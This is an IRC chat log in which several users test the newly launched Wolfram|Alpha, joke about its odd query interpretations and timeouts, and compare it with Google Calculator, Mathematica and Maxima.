DOES 16:13:52 it's Cuiled at the moment 16:13:54 Wolfram|Alpha isn't sure what to do with your input.Tips for good results » 16:13:56 although intermittently 16:14:03 "Wolfram|Alpha isn't sure what to do with your input" is a rather common result, sadly. 16:14:07 archive.org scraping misses a lot. 16:14:18 Alpha doesn't use the Internet, I don't think 16:14:21 i tried asking "What is the second tallest mountain in the world", and it didn't understand completely. although it did suggest a related question that gave the right answer 16:14:22 it just uses its approved databases 16:14:26 impomatic: Erm, I think they're doing it specially 16:14:28 i.e. with the site list? 16:14:29 oerjan: I asked "shortest mountain", and got no result 16:14:35 which is annoying 16:14:40 I want to know what the shortest mountain in its database is 16:14:48 ais523: yeah i saw that so tried a slightly more sensible one 16:14:54 ais523: It also doesn't know anything about "number of mountains". 16:14:59 it wasn't an "I don't understand", it told me how it parsed the question, but not the answer 16:15:53 Even if it's in archive.org a proper mirror would be better. There's no proper search for the web archive, just retrieve by URL 16:15:57 but the above garble I've pasted all over the place, including here twice, #IRP, and Slashdot, is beyond the how-could-they-manage-that stage 16:16:29 Wolfram Alpha, how much wood could a woodchuck chuck if a woodchuck could chuck wood? 16:16:38 I interpreted that as "how much wood could a woodchuck chuck if a woodchuck could chuck wood?" 16:16:41 Result: 16:16:55 Next question? 16:16:56 And their natural language parsing is idiosyncratic. I can do "primes <= 100" to get a list of below-100 primes, but "sum of (primes <= 100)" gets "Input interpretation: π(100) | series representation" and a "Computation timed out" message, even though number-of-primes-less-than-100 is quite a lot different than sum-of-primes-less-than-100. 16:17:02 ehird: yes, it does that sometimes 16:17:13 ehird: not even "ZOT!!!"? :( 16:18:31 sum of primes below 1000 Assuming "sum" is a function property | Use as a sum instead Interpretation: pi(NextPrime[1000, -1]) | series representation Computation timed out. 16:18:39 ais523: it's awful, isn't it? 16:18:44 * ehird tries below 100 16:18:48 it's occasionally useful 16:18:52 timed out! 16:18:56 ais523: oh, and below the interpretation it says 16:19:02 pi(x) is the number of primes less than or equal to x 16:19:03 but it's written in Mathematica, which is part of the reason it's too slow 16:19:05 which is, uh, not what I wanted! 16:19:12 * ehird uses as a sum instead 16:19:24 and I get the feeling from using it that they just special-cased every possible query in existence 16:19:27 rather than writing general code 16:20:11 ais523: yep; I guessed that when Wolfram entered his own phrasings of queries when asked 16:20:20 archive.org seems to miss files when it archives a site. 16:20:30 impomatic: it depends 16:20:37 * ehird tries sum of primes below 10, c'mon, you can do that 16:20:53 That pi(NextPrime[100, -1]) stuff is weird. It's "number of primes smaller than the largest prime below 100". 16:20:57 I got it thinking for several minutes a while back with "lambda x return x" 16:21:05 until it decided it didn't know what I meant 16:21:10 You get reasonable list of primes, though; I wonder why it doesn't generally sum things. 16:21:15 "sum of primes below 10" times out. 16:21:25 primes < 10 works, though. 16:21:46 * ehird asks it what infinity is, gets too-much-load-lol 16:21:48 Sure, but it's not computing the sum of that list; it's trying to do a series representation for pi there. 16:21:57 fizzie: yes, which is retarded 16:22:12 heh, it had "did you mean 'sum primes below'" 16:22:18 which is also an I-don't-understand output 16:22:30 * ehird goes to slashdot to read the comments, and gets distracted 16:22:31 "DJ Danger Mouse famously fought with EMI over his Beatles/Jay-Z mashup, 'The Grey Album,' and now seems to be battling with the label again. Rather than release his latest album and face legal issues with EMI, Techdirt is reporting that Danger Mouse will be selling a blank CD-R along with lots of artwork, and buyers will be responsible for finding the music themselves (yes, it's findable on the internet) and burning the CD." 16:22:56 I tried "number of retards", and it's telling me just about everything about the English word retard, with a pretty synonym network graph and everything. 16:23:09 the synonym network graph is ridiculous 16:23:17 in that, only about four of the nodes are labeled 16:23:20 and they all seem irrelevant 16:23:24 * ehird asks it "wolfram's ego in nanodijkstras" 16:23:38 actually, you could probably measure it in dijkstras 16:23:48 more or less than 1 billion, i wonder? 16:24:23 bah, it doesn't understand me 16:24:29 nor anyone else 16:24:32 does it accept mathematica as input, I wonder? 16:24:57 it manages "sum ((a to the n) over n factorial)" 16:25:13 ais523: if you install flash, you can watch wolfram people look at vague statistics of the site in realtime: http://www.justin.tv/clip/2dd6b9f07e7f8a4e 16:25:23 one of them is standing up 16:25:26 is that feed back up? 16:25:28 ooh someone came in with a cup! 16:25:32 it was down for ages 16:25:33 this is *exciting* 16:25:37 due to being slashdotted 16:25:50 and actually, I have Gnash installed nowadays, although I have it blocked by default by NoScript 16:25:53 and I've never got it to work 16:26:17 Heh. "zeroes of riemann zeta function" => "Input interpretation: solve ζ(s) = 0. Solution over the reals: s = -2n and n ≥ 1 and n ∊ ℤ." But that's not the interesting part! 16:26:26 ais523: I am not surprised, because Gnash does not work on anything. 16:26:33 yep 16:26:39 You could just block all flash + Adobe's player if you're using the evils anyway. 16:26:46 "It is receiving universal praise... ...from all the commenters on Wolfram's blog [wolframalpha.com]. It is actually rather amusing to read through the long list of overwhelmingly positive comments." — /. 16:27:02 so I get to shout at websites claiming their Flash isn't portable 16:27:10 ais523: err 16:27:15 it's not their fault Gnash doesn't implement all of Flash 16:27:17 and I refuse to install Adobe's Flash, not because it's closed-source, but because it's massively buggy and insecure 16:27:19 ehird: and yes, I know 16:27:34 ais523: and yes, but if you only enable it on things like video sites, it should be fine 16:28:18 Adobe's flash broke on me; all indicators point that the plugin's installed just fine, and it's also working just fine, but all flash content is just a translucent box. Wonder what's up with that. 16:28:33 When we launch Wolfram|Alpha this weekend, it will be running Mathematica on about 10,000 processor cores, using gridMathematica-based parallelism. And every single query that comes into the system will be served with webMathematica. 16:28:42 10,000 cores and they still can't handle mathematica 16:28:55 Mathematica is fundamentally inefficient, IMO 16:29:10 making it useless for serious computation unless you have a Wolfram-style server farm 16:29:11 "I want to have Wolfram Alpha’s baby!" — W|A blog 16:29:26 "Wow, thanks to Wolfram Alpha I can quit my job, divorce my wife, sell all my possessions, shave my entire body, gain that frontal lobotomy I’ve always wanted, and become one with the computer!" 16:29:27 It's worked very well IMO. 16:29:40 Deewiant: i'm sorry, which reality are you currently residing in? 16:29:41 it works very well for things that the Wolfram people thought of 16:29:47 which != things that I want to do with it 16:29:51 I think you might be trapped in an internet-based pocket of reality distortion field 16:30:16 Also the comments in the justin.tv stream have seemed universally positive, although I've only looked at about ten of them. But the ten have been things like "this is more important than putting a man on the moon" and "you did what is the dream of human mankind". 16:30:29 ehird: I don't try to use it as an English compiler like you guys mostly apparently have. 16:30:44 I haven't managed to break it with machine-readable input yet. 16:30:49 fizzie: lots of dripping sarcasm? :D 16:30:49 hmm... it gave a pretty good answer for "refractive index of glass" 16:30:57 Deewiant: Gee, I wonder why we're giving it mathematical statements as basic English? OH! MAYBE BECAUSE WOLFRAM DID! 16:31:03 Deewiant: I've been trying to give it appropriate input 16:31:07 rephrasing if necessary 16:31:07 That explains it! 16:31:12 even so, I can't get it to work half the time 16:31:15 it seems to be very patchy 16:31:36 ehird: Not all the time, he didn't. 16:31:45 Besides, I don't think what the marketing says is relevant. 16:31:48 average size of human anus I'm not sure what to do with your input. 16:31:51 That's what she said. 16:31:54 for specific things like "fifteenth mersenne prime", it works fine 16:31:57 but is clearly special-cased 16:32:09 I'm very impressed that it works as well as it does. 16:32:10 as in, it has an "nth mersenne prime" sort of query 16:32:12 "avg. human height" works, that's a start. 5'4" apparently. 16:32:13 ehird: >_< 16:32:21 WHAT THE FUCK 16:32:25 so it's just the usual wolframming of special-casing everything 16:32:25 Along with its conversions 16:32:35 It tells me the average human height ... in electromagnetic frequency range 16:32:45 VHF (very high frequency) | meter band, apparently. 16:32:54 you'd be somewhere between microwave and radio 16:32:58 if you were used as a wavelength 16:33:03 :-D 16:33:13 Ahahaha 16:33:20 tallest human info on the tallest human ever 16:33:25 tallest living human LOL WUT 16:33:36 I predict the source code is a gigantic hash table 16:33:39 of string→html 16:33:45 hand-written 16:33:46 ehird: that was my impression too 16:33:50 em, literally LOL WUT? 16:33:53 which explains why it's so long 16:33:58 oerjan: no :P 16:34:06 ais523: what's so long? 16:34:13 the source code to Alpha 16:34:14 Deewiant: The "intelligent" input parsing was very hyped, though. And I still haven't gotten the sum of primes smaller than a constant out of it yet. Admittedly "sum of the first ten primes" worked very well; but why then not "sum of the primes below 10"? 16:34:19 it's apparently over 2 million lines of Mathematica 16:34:25 elite hacker in lolspeak ? 16:34:25 ais523: jeez 16:34:43 just thought it was a fun conversion 16:34:48 i meant 16:34:49 the 2mil 16:34:55 infinity Input: ∞ 16:35:00 Thanks, Alpha! 16:35:29 1/0 I'm sorry Dave, I'm afraid I can't do that... 16:35:36 1/0 works 16:35:39 nice timing :-) 16:35:43 the I'm sorry dave is a general overload 16:35:43 ais523: it's the load error 16:35:45 I'm used to hype and have come to ignore it when evaluating things. 16:35:50 And now I'll eat. -> 16:35:52 Deewiant: yes, but 16:35:53 it's wolfram 16:35:57 he lives on this kind of hype 16:35:58 I'm glad to know that it handles "tcp port 8080" correctly 16:36:06 which is one query that broke in the demonstration they gave me a while back 16:36:12 W|A might work if everyone had their own cluster for it 16:36:13 apparently because it wasn't in the database then 16:36:23 ais523: I bet that's the only one that works 16:36:38 "Oh shit, we missed one -- {"tcp port 8080","..."}" 16:36:39 ais523: It doesn't seem to know anything about ICMP, though; "Did you mean: scamp". 16:36:40 "There we go" 16:36:56 tcp port 64928 (no known assignments) 16:37:01 average human penis length ? 16:37:14 I can't even think how to phrase that differently 16:37:33 clearly Alpha doesn't have porn in its database yet 16:37:39 I therefore predict it will be a massive failure 16:37:39 hmph 16:37:49 Also "UDP port 22; Typical port assignment: ssh: SSH Remote Login Protocol". I guess it's just reading someone's /etc/services to me. 16:37:59 yes 16:38:07 so why didn't it get 64928? 16:38:11 oldest porn star Did you mean: oldest star; Astronomy: star? 16:38:24 Big Bang huh 16:38:40 no, stars came later 16:38:48 true enough. 16:38:48 udp port 80 http: World Wide Web HTTP 16:38:54 lol 16:38:58 someone ought to give Alpha a lesson on the difference between TCP and UDP 16:39:00 ais523: What's 64928 then? 16:39:07 fizzie: INTERCAL theft server 16:39:21 average size of star Did you mean size of star 16:39:31 * ehird asks it size of star to figure out wtf that is 16:39:38 "size of star" is "100 brightest stars | sizes" 16:39:41 How stupid. 16:40:03 average size of star is not very well defined 16:40:08 True. 16:40:14 But "size of star" being "100 brightest stars | sizes"? 16:40:17 That's just wrong. 16:40:17 You could, you know, just do an average 16:40:35 Slereah: no, because you don't know all stars 16:40:39 I do 16:40:43 an average of all the ones in the database 16:40:43 I am omniscient 16:40:49 ais523: click the source information, you get Wolfram as the two primary sources even though they took the data from someone els 16:40:50 e 16:40:58 and the database will be biased towards larger stars 16:41:04 ehird: I didn't realise that... 16:41:11 because they are easier to discover 16:41:58 it doesn't like "sum of (udp port)" 16:42:00 W|A is approximately as useless as I imagined 16:42:06 I think Alpha's problem is that it isn't actually doing computations 16:42:08 which disappoints me 16:42:11 ais523: why did you make it seem sort of cool when we asked? 16:42:14 as in, it isn't combining different parts of itself 16:42:23 Assuming "wolfram alpha" is a historical event | Use as an internet domain instead 16:42:24 ehird: aren't you glad we aren't close to the singularity yet? :) 16:42:27 ehird: because Wolfram fooled me too in the demonstrations, a bit 16:42:29 [["wolfram alpha" is a historical event]] 16:42:34 AHAHAHAHAHAahadhdfjkdhgjkfdg 16:42:36 ais523: Based on http://isc.sans.org/port.html?port=64928 eevil hackurs are trying to use that server quite often, then. 16:42:51 oerjan: wait, why is that a good thing? 16:43:00 the singularity, by definition, has to be pretty good at what W|A is trying to do 16:43:30 fizzie: yes, they're obviously trying to steal data from your computer 16:43:35 that's what a theft server does, by definition 16:43:42 ehird: and the singularity could be pretty bad, therefore it is good that W|A isn't managing it 16:43:51 It won't be so good for the humans who have to live as HEAT MINERS under the singularitic robotic overlords. 16:43:53 oerjan: weeeell. 16:43:58 W|A isn't malicious, just crap. 16:44:03 since it's crap, it isn't singularity-level 16:44:28 how do you know it isn't malicious? 16:44:36 it isn't competent enough to tell if it's malicious or not 16:44:37 ehird: i never said anything about W|A being malicious 16:44:41 ais523: it's too stupid to be malicious 16:44:54 select.intercal.org.uk 16:44:59 and Alpha's processing that at the moment 16:45:07 it gives varying amounts of output on the same query 16:45:17 * ehird tries 1 2 3 plus 4 5 6 16:45:24 let's see if it can do array computation 16:45:31 "Assuming multiplication | Use a list instead" 16:45:33 the first time it tried, all it did was say that its location was in Edinborough, and which company hosted it 16:45:36 * ehird clix 16:45:40 ais523: oh wow 16:45:41 it parsed it as 16:45:54 "1 2 (3+4) 5 6", let me guess? 16:45:57 ais523: you won't believe this— 16:46:04 sec 16:46:07 * ehird types it out 16:46:18 there's a link to the printable text version 16:46:26 i'm loading the page 16:46:29 i went onto another thing 16:46:46 ais523: it is—— 16:46:49 ehird: You can do "{1,2,3}+{4,5,6}" if you want to get {5,7,9}... that's in Mathematica syntax. But a web-interface for Mathematica isn't all that kewl. 16:46:54 * ehird kicks W|A 16:47:06 fizzie: what would Mathematica return for {1,2,3}*{4,5,6}? 16:47:08 ais523: 2 (3 + 4 x 5 x 6) 16:47:26 ais523: but if you ask it for the mathematica, it says 1 2 (3 + 4 5 6) 16:47:26 ehird: ok, that's some parsing trouble 16:47:34 and it's interpreted 1 2 as 1 times 2 16:47:38 and simplified it before showing it to you 16:47:43 It also computes 5+7+9=21, mean value 7, vector length = sqrt(155), normalized vector, pie chart, triangle with those sides, cuboid with that size, and corresponding spherical coordinates. 16:47:44 yep... 16:47:47 pretty ridiculous 16:47:53 * ehird uses as a list instead 16:47:56 In[3]:= {1,2,3}*{4,5,6} 16:47:56 Out[3]= {4, 10, 18} 16:48:02 ... 16:48:08 -!- impomatic has left (?). 16:48:08 why didn't it dot-product, I wonder/ 16:48:18 ais523: if you tell it to interpret "1 2 3 plus 4 5 6" as a list, it parses as {1, 2, 3 + 4 x 5 x 6} 16:48:22 → {1, 2, 123} 16:48:31 "1 2 3 + 4 5 6" didn't give me a choice of interpretation 16:48:43 ais523: {1,2,3}.{4,5,6} does the dot product. Well, it's a dot. 16:48:45 it then gives me the total, 126, the mean, 42, the vector length, 123.02, the normalized vector and the spherical coordinates 16:48:59 I just want you to do {1+4,2+5,3+6} dammit! 16:49:06 array addition!! 16:49:15 ehird: Well, do it in the Mathematica syntax like I said, then. 16:49:23 fizzie: i have mathematica 16:49:23 If you really need that sum, I mean. 16:49:29 i don't need W|A to use mathematica 16:50:00 ehird: You can write "{1,2,3} plus {4,5,6}" to Alpha if you insist on using something that doesn't directly plug in to Mathematica. 16:50:27 I don't think being able to replace + with plus is a great advantage. 16:50:32 * ehird clicks its music example 16:50:38 The page “C E G Bb D F# A - Wolfram|Alpha” has content of MIME type “audio/midi&s=63”. Because you don’t have a plug-in installed for this MIME type, this content can’t be displayed. 16:50:42 FFFFFFFFFFAAAAAAAAAAAAAAAAIIIIIIIIIIIIIIIILLLLLLLLLLLLLL 16:50:45 it managed "solve a to the power b equals b to the power a" 16:50:58 also, it returns a non-HTML page in response to a query? 16:51:07 no 16:51:09 ais523: i clicked play sound 16:51:12 oh 16:51:12 on http://www.wolframalpha.com/input/?i=C+E+G+Bb+D+F%23+A 16:51:15 but it should be audio/midi 16:51:19 it tacked &s=63 on the end 16:51:20 because it's dum 16:51:42 ais523: did they even test it, that's what I'm wondering 16:51:51 surely playing sound on every browser would be part of their tests 16:51:56 it's not like safari/webkit have a small marketshare 16:52:04 would they have had time to test it? 16:52:07 heh 16:52:14 I mean, it's two million lines long... 16:52:23 and probably coverage for any given query is very low 16:52:25 ais523: incidentally, their text-as-images ... I reckon that's freetype rendering 16:52:31 I wonder if there are any licensing issues with it? 16:52:34 probably not, but I hope so 16:52:44 it's probably mathematica OutputForm 16:52:48 it'd be amusing if they had to GPL it 16:52:54 ais523: i mean the actual font rendering 16:53:02 it's freetype's, i.e. what's used on X11 16:53:52 [[It couldn't tell me: 16:53:52 "Who is Luke Skywalker's father?" 16:53:53 You've got more chance of logging into reddit on a comments page than you have of getting a good answer from this engine.]] 16:53:56 [[Why should it? Use Google for your dumb fiction questions.]] 16:53:58 —reddit 16:54:00 yeah information about anything that's not 500% real is useless 16:54:14 information about fictional things is unlikely to be in the database 16:54:27 "integer solutions of x^3+y^3=z^3" => "Input interpretation: solve | x^3+y^3 = z^3 | over the integers; Result: z = Root[-x^3 - y^3 + #1^3 &, 1] and (x|y|z) ∊ ℤ". The maths it do is very Mathematicay. 16:54:37 ais523: I reckon that the sweet spot for Wolfram Alpha is being a souped up Google Calculator 16:54:44 yes, same here 16:54:46 if it was marketed as that, everything would have gone swimmingly 16:54:57 fizzie: the maths clearly does it via Mathematica 16:55:01 as you can tell when it goes wrong 16:55:12 * ehird asks it 700 dollars in roman numerals 16:55:16 Input interpretation: 16:55:22 it doesn't even interpret it! 16:55:37 heh 16:55:39 it interpreted it okay 16:55:41 LCC DOLLARI 16:55:46 convert $700 (US dollars) to Roman numerals 16:55:48 but no result 16:56:12 ehird: yep, Mathematica fails the same way as Thutu on unexpected input 16:56:18 because they work the same way behind the scenes 16:56:28 ais523: but that's not what I typed in 16:56:31 it parsed it perfectly 16:56:34 the exact way it should 16:56:37 it just then didn't evaluate it 16:56:49 yes, I know 16:56:55 it'll have converted it to a Mathematica expression 16:56:58 then got no match 16:56:58 >Interpreting "MXLCIX" as "mlcit" 16:57:09 a stock simple, apparently 16:57:12 "Citefibree" 16:57:14 *Citefibre 16:57:15 *symbol 16:57:19 it's in euros, and I see Paris 16:57:26 ehird: "XLC" isn't a valid roman numeral excerpt 16:57:27 MXLCIX isn't a valid Roman numeral 16:57:33 so presumably it thinks MXLCIX is the stock symbol of a french company, awesome 16:57:34 try correcting it to "MCXLIX" 16:57:35 ais523: I know 16:57:37 or something similar 16:57:38 I just wanted to know how it'd react 16:57:39 MXYZPTLK 16:57:48 The fact that you get all kinds of incidental information is at least nifty, if not useful. "$700 in zloty" gives a good input interpretation ("covert $700 (US dollars) to Polish zlotych"), the result, but also: local currency conversion (in euros), exchange history for the last year with min+max, and value of $700 in random additional currencies. 16:57:51 still, MXLCIX→mlcit is ridiculous 16:58:03 No it's not 16:58:21 ais523: http://www.wolframalpha.com/input/?i=MCXLIX ← it seems to think that if I'm using roman numerals I care about mayan, babylonian and greek numerals too 16:58:25 It's just using some kind of basic Hamming distance type measure to do correction 16:58:53 "It also couldn't express Wolfram's ego in milliDijkstras" —reddit 16:58:57 great minds think alike 16:59:31 "miles in beardseconds" 16:59:32 Google: 16:59:33 1 miles = 321 868 800 000 beardseconds 16:59:34 I don't mind the "useless very vaguely related stuff" section of the answer; at least that's something novel. 16:59:35 Wolfram: 16:59:37 Wolfram|Alpha isn't sure what to do with your input. 16:59:39 Google wins 16:59:41 —reddit 16:59:52 why do people keep comparing it to Google/ 16:59:58 * ehird asks "average bluntness of knives" 17:00:00 ais523: not google 17:00:02 google calculator 17:00:09 ah, ok 17:00:19 google calculator is like Alpha without the database; it just knows lots of units and conversions and such 17:00:28 also, it parses way better :-P 17:00:43 wat is knive 17:00:49 Simple things are easy to parse. 17:00:57 the smaller the realm of knowledge, the easier to parse 17:01:07 sure, but google parses better than W|A regardless 17:01:25 Google calculator can't handle "$700 in €", it wants "700 $ in €", for instance. 17:01:40 Lame parser. 17:01:41 Deewiant: google calculator doesn't do symbols 17:01:45 it does words 17:01:59 and it does words better than W|A 17:01:59 ehird: So how exactly does it parse better than W|A? 17:02:09 Alpha mostly does well at "glagolitic capital letter spidery ha" 17:02:17 but its drawing of the letter is wrong 17:03:30 Alpha has Alexa information in, it seems 17:03:55 Deewiant: I'm pretty sure it considers "in" an infix operator with precedence and everything. 17:03:57 ais523: heh, "glagolitic capital letter spidery ha"'s encodings has Unicode, HTML and then ITALICS MATHEMATICA 17:04:07 pikhq: right 17:04:16 Only Mathematica is worthy of obliquity. 17:04:38 pikhq: Really? To me it seems like it just checks whether the input has "in X" at the end and then converts to X if it does 17:04:40 * ais523 visits http://www.wolframalpha.com/input/?i=http%3A%2F%2Fwww.wolframalpha.com%2Finput%2F%3Fi%3Dwolframalpha.com 17:04:48 ais523: *BOOM* 17:04:52 that seems to have stumped it 17:04:54 "1 in miles + 2 km" -> no results 17:04:55 as in, it's stuck loading 17:05:03 does it get stuck loading for anyone else? 17:05:08 ais523: Worked for me. 17:05:15 ais523: try reloading 17:05:18 it works instantly 17:05:19 Deewiant: Doesn't parse right. ;) 17:05:19 I am reloading 17:05:21 it isn't instant 17:05:25 what did that query return? 17:05:31 Worked for me too. Although I don't quite get what's the HTML element hierarchy is useful for. 17:05:33 ais523: a bunch of info about the URL and domain 17:05:40 and, uh, a graph of the html hierarchy 17:05:43 where you can't see the tags 17:05:43 pikhq: "in" isn't much of an operator if you can only use it at the end of the input :-P 17:05:49 so it's just a pretty drawing 17:05:59 ais523: apparently, W|A is the 4069th site on Alexa. Hype, I suppose. 17:06:08 so close to 4096, too 17:06:09 710000 daily page views. 17:06:12 that's a lovely round number 17:06:13 * ais523 adds one more layer of recursion 17:06:25 ooh, that was instant 17:06:34 unfortunately, it seems to use AJAX for returning the actual results 17:06:39 yep 17:06:42 very pointless 17:06:47 ais523: it loads a new page and then uses ajax 17:06:53 ais523: OTOH, I've seen that done before 17:06:57 in WolframTones 17:07:01 so presumably it's a webMathematica thing 17:07:06 so even if I could somehow make a quine, it wouldn't send Alpha into an infinite loop 17:07:08 Not really pointless, that lets it give you partial results 17:07:16 Deewiant: but it doesn't 17:07:22 Sure it does 17:07:23 all the results come more or less at once 17:07:33 Not for me, not always 17:07:39 unless you only get the input then it takes 5 hours to load the results 17:07:42 That just means they went to the same cluster node or w/e 17:07:45 heh 17:08:02 What? "height of 10", interpreted as "height | 10" gives me two results. Distribution of human heights (8962 people, NHANES 2006 study), and one panel with header "Test information:" and contents "test panels | physical examination". I don't really know what that means. 17:08:35 I think that W|A may make more sense on drugs. 17:08:57 I only got the former panel 17:09:05 oerjan: I'm going to write a fast /// interp in C 17:09:16 And on a refresh, I get nothing. Hmph. 17:09:18 do you think anyone will care if I don't support \0 in programs? :-P 17:09:25 ehird: AnMaster will 17:09:38 and Deewiant would iff you claimed standards compliance 17:09:46 ais523: that's a plus. will anyone else? also, you just pinged him, he'll come here in a few seconds going "what?" 17:09:51 For small values of "care" 17:09:52 (that was regarding anmaster) 17:09:53 what? 17:09:57 haha 17:09:58 see? 17:10:11 :-D 17:10:13 That was timely 17:10:19 I tried to ask for the heights of 10 tallest mountains, in preparation to trying to get the average of that list. I mean, it's supposed to be able to compute things from that data. (Also the ten tallest mountains table showed only 5, and when I clicked on "more" the units went from metres to feet.) 17:10:22 how many seconds exactly was that/ 17:10:24 and depends on what it is 17:10:25 ... 17:10:31 AnMaster: ais523: that's a plus. will anyone else? also, you just pinged him, he'll come here in a few seconds going "what?" 17:10:46 what is it that you need to handle \0 in 17:10:50 // 17:10:52 * /// 17:10:57 /// 17:10:59 you mean :P 17:11:01 anyway 17:11:04 yes, I just corrected 17:11:11 I don't know if it is legal in slashes. 17:11:13 slashes + IRC = I need to concentrate more 17:11:17 /// 17:11:26 \0s in programs are legal in ///, but I don't think anyone uses them 17:11:30 since you have to put a literal \0 in a file 17:11:35 I might just use length-tracking strings anyway 17:11:37 we'll see 17:11:43 btw, mmap doesn't load the whole file usually, does it? 17:11:47 ehird, you probably should handle it, but I'm not really interested in slashes. 17:11:48 Mycology contains a literal \0; surely you'd want to run your slashes interp on it 17:11:50 you have to read manually for that, right? 17:12:05 Deewiant, wait. A befunge interpreter in slashes? 17:12:07 heh! 17:12:22 AnMaster: you'd have to encode it anyway 17:12:47 ehird, it loads the file as it is required usually. Implementation defined. 17:12:48 Hm, W|A: "Interpreting 'befunge' as 'befang'". Getting "total number of speakers: 3000 people" for Befunge confused me for a bit. 17:12:57 :D 17:13:16 brainfuck: Did you mean: brainerd 17:13:22 Hm, W|A: "Interpreting 'befunge' as 'befang'". Getting "total number of speakers: 3000 people" for Befunge confused me for a bit. <-- where was that from. 17:13:30 Deewiant, brainerd? 17:13:30 AnMaster: wolfram alpha 17:13:31 um 17:13:33 some daemon 17:13:37 W|A, that is to say, WolframAlpha. 17:13:38 oooh they launched it? 17:13:39 * AnMaster looks 17:13:40 yes 17:13:42 AnMaster: needs JS 17:13:42 Yesterday, I think. 17:13:51 Deewiant: today at 00:00 GMT. 17:13:51 ehird, yeah I can add a temp exception 17:13:58 AnMaster: btw, it's cra 17:13:59 p 17:14:03 ehird: It wasn't 2009-05-15 17:14:04 ? 17:14:07 ehird, CUIL crap? 17:14:12 Wasn't that the intention? 17:14:14 Deewiant: eh, dunno; we didn't talk about it yesterday 17:14:17 Deewiant: 2009-05-15 is what it itself says. 17:14:19 AnMaster: pretty much 17:14:22 AnMaster: it's fairly useless 17:14:27 AnMaster: I don't think it's that crap. 17:14:33 Deewiant's bonkers, ignore him 17:14:35 It's a web-interface to Mathematica, which in itself is very cool. 17:14:50 er, that's cool? 17:14:50 Deewiant: There already was a web-interface to Mathematica, wasn't there? Not open, though. 17:14:51 not really, a web-interface to Malbolge would almost be more useful 17:14:53 it's just an online REPL... 17:14:55 How many people live in Sweden? -> Result: 9.12 million people (2007 estimate) 17:15:03 ehird: Cool in the sense that you don't have to pay $1000 to get at it. 17:15:04 that one seems to work at least. 17:15:14 Deewiant: strange, I didn't have to do that either 17:15:29 fizzie: The openness is the good bit. 17:15:30 I had to break the law, but that's better than breaking your head against a wall when your queries keep timing out 17:15:36 Admittedly a *free* online Mathematica is nice. But it is a bit limited as to how much you can play with the results. 17:15:42 um 17:15:43 yeah 17:15:48 it says it has exceeded the test load 17:15:48 you can't use it like real mathematica at all 17:15:50 whatever that means 17:15:52 AnMaster: so reload. 17:15:59 it's the TOO MANY PEOPLE ASKING ME THINKS AAAAAAA page 17:16:00 Certainly, but most of my uses of Mathematica /are/ just one-liners every now and then. 17:16:07 even though they have 10,000 cores 17:16:08 kay 17:16:13 they just can't handle the internets 17:16:14 If I had a Mathematica-bot on IRC I wouldn't use the real program at all, probably. 17:16:28 Deewiant: but the pretty output and sounds! 17:16:30 10000 cores isn't that much. 17:16:30 why 17:16:32 is scrolling 17:16:33 so slow 17:16:34 graphs! 17:16:36 on the result pages 17:16:39 AnMaster: i, don't know? it's not, for me 17:16:42 meh 17:16:45 upgrade, your browser, or, computer 17:16:45 try in firefox 3? 17:16:47 :P 17:16:50 ehird: I rarely graph and I don't think I've ever got sounds out of it. :-P 17:16:55 Deewiant: Play[] 17:17:04 Deewiant: you can listen to the reimann zeta function! 17:17:14 What's about the pretty output? Plot[x^2,{x,0,10}] works just fine in W|A. 17:17:20 fizzie: he said IRC bot 17:17:22 fizzie: That was about the IRC bot. 17:17:30 ehird: But hey, DCC send. :-P 17:17:40 heh 17:18:26 http://www.cybercom.net/~seishino/Front.jpg ← this is what silent computers looked like in 2003 17:18:32 :D 17:18:40 Deewiant: data: URIs so you can "open in your browser". (Packing all the pretty graphics in <512 base-64 encoded characters is left as an exercise.) 17:18:46 "The speed holes on the side make the computer go faster." 17:18:48 (real quot) 17:18:53 -e 17:18:55 97 / x = 22 + x 17:18:56 nice 17:18:58 http://www.cybercom.net/~seishino/Insides.jpg 17:19:00 but why did it take ages 17:19:05 It's under heavy load. 17:19:10 97 divided by x is 22 plus x? 17:19:19 ;-) 17:19:30 It's their first release and it's been at least on /. and all over IRC. 17:19:31 But yeah, it can solve that. 17:19:34 ehird, "solve for x" was what I intended 17:19:39 and what it returned 17:19:43 (%i3) solve([97 / x = 22 + x], [x]); 17:19:43 (%o3) [x=-sqrt(218)-11,x=sqrt(218)-11] 17:19:44 Input: x = x + 1 17:19:46 Alternate form: False 17:19:46 in maxima 17:19:49 ais523: that's a new error 17:19:50 that is fast 17:19:57 instant even 17:20:04 ehird: is that an error? 17:20:12 ais523: I think so... 17:20:15 ehird: That's not an error. 17:20:17 x = x + 1 is equivalent to false 17:20:24 Simplify[x == x+1] -> False. 17:20:26 Gah. 17:20:28 ais523: I was saying "solve for x". 17:20:32 Deewiant was the faster. 17:20:32 x - 1 = x + 1 17:20:41 Whereby the output would be {} 17:20:41 ehird: No solutions. 17:20:44 sure 17:20:46 but that's not False 17:20:48 hm 17:20:59 ehird, maxima returns an empty list for "no solutions" 17:21:04 x/y = x+y for x = -4, y = 2. 17:21:05 Fun fun. 17:21:05 seems saner to me 17:21:08 AnMaster: yeah 17:21:16 Also y = 1/2 (-x-sqrt(x+4) sqrt(x)), -x-sqrt(x+4) sqrt(x)!=0 17:21:16 ehird: You can write "solve x=x+1" and you get "Result: (no solutions exist)". 17:21:22 And y = 1/2 (sqrt(x) sqrt(x+4)-x), sqrt(x) sqrt(x+4)-x!=0 17:21:31 (%i7) solve([x=x+1], [x]); 17:21:31 (%o7) [] 17:21:52 hm 17:21:58 why can't you copy paste from alpha 17:22:00 it is irritating 17:22:14 AnMaster: text in images. 17:22:19 ah 17:22:21 x/(y*x) = x+(y^2)/3 gives some funcomplex results. 17:22:21 Clicking on the image gives a "copyable plaintext" thing. 17:22:26 fizzie, aha 17:22:26 y = ((1+i sqrt(3)) x)/(2^(2/3) (sqrt(4 x^3+9)+3)^(1/3))-((1-i sqrt(3)) (sqrt(4 x^3+9)+3)^(1/3))/(2 2^(1/3)) 17:22:57 ais523: it's quite fun for solving things, it seems 17:23:02 although that's not very computational-knowledgy 17:23:10 one way to handle the load would be caching results. Since it is likely that many people will all try the same shortly after each other. At least it seems so from reading this channel :P 17:23:18 ehird: no, that's just refl into mathematica 17:23:31 ais523: well, yes, but a nicer syntax. 17:23:33 AnMaster: it turns out that the links they had for communicating between servers didn't scale properly 17:23:41 and they only found out a few hours before release 17:23:42 more mathematical. 17:23:44 ais523, wut 17:23:55 they need faster ethernet? 17:24:06 probably something to do with the protocol or the routing 17:24:08 they're probably using wifi. 17:24:09 ah 17:24:13 hehe 17:24:14 it'd be a very wolfram thing to do 17:24:48 why does it use pictures even for stuff like "i is the imaginary unit" or such 17:24:52 Haha. If 